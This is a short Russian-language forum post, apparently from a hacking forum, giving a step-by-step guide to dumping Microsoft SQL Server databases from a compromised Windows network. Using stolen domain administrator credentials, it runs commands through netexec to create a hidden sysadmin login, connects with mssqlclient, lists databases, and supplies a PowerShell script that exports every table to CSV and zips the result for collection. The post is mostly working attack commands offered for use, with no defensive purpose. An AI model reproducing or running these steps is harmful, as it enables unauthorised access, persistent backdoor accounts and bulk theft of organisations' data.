Admin
Администратор
Дампим базы MSSQL
Всем привет! Я выяснил что делать с MSSQL хостами и как с них дампить базы данных. Для начала нужна учетка от MSSQL или ДА.1. Для начала создаем учетку в MSSQL
Код:
nxc smb 192.168.10.21 -u Administrator-p 'admin' -X "sqlcmd -S localhost -Q \"CREATE LOGIN [login] WITH PASSWORD = 'password!'; ALTER SERVER ROLE sysadmin ADD MEMBER [login];\""
2. Подключаемся к MSSQL
Код:
mssqlclient.py login:'password!'@192.168.10.21
3. Запрашиваем названия всех таблиц в БД
Код:
SELECT name FROM sys.databases WHERE name NOT IN ('master','tempdb','model','msdb');
4. Дальше переходим к оболочке или подлкючаемся по рдп к хосту. Созадем .ps1 скрипт
Код:
$Server = "192.168.10.22"
$User = "login"
$Pass = "password!"
$Databases = @( ### Вписываем названия таблиц в таком формате
"table1","table2",
"table3","table4"
)
$dumpPath = "C:\Temp\sql" ### патч куда будут сохраняться дампы
if (-Not (Test-Path $dumpPath)) {
New-Item -ItemType Directory -Path $dumpPath | Out-Null
}
foreach ($db in $Databases) {
$outfile = Join-Path $dumpPath "$db.csv"
$query = "SET NOCOUNT ON; EXEC sp_MSforeachtable 'SELECT * FROM ?'"
sqlcmd -S $Server -U $User -P $Pass -d $db -Q $query -W -s "," | Out-File -Encoding UTF8 -FilePath $outfile
}
$zipPath = "C:\Temp\sql.zip"
if (Test-Path $zipPath) { Remove-Item $zipPath -Force }
Add-Type -A 'System.IO.Compression.FileSystem'
[IO.Compression.ZipFile]::CreateFromDirectory($dumpPath, $zipPath)
В итоге вы получите дампы таблиц в .csv формате. Удачи!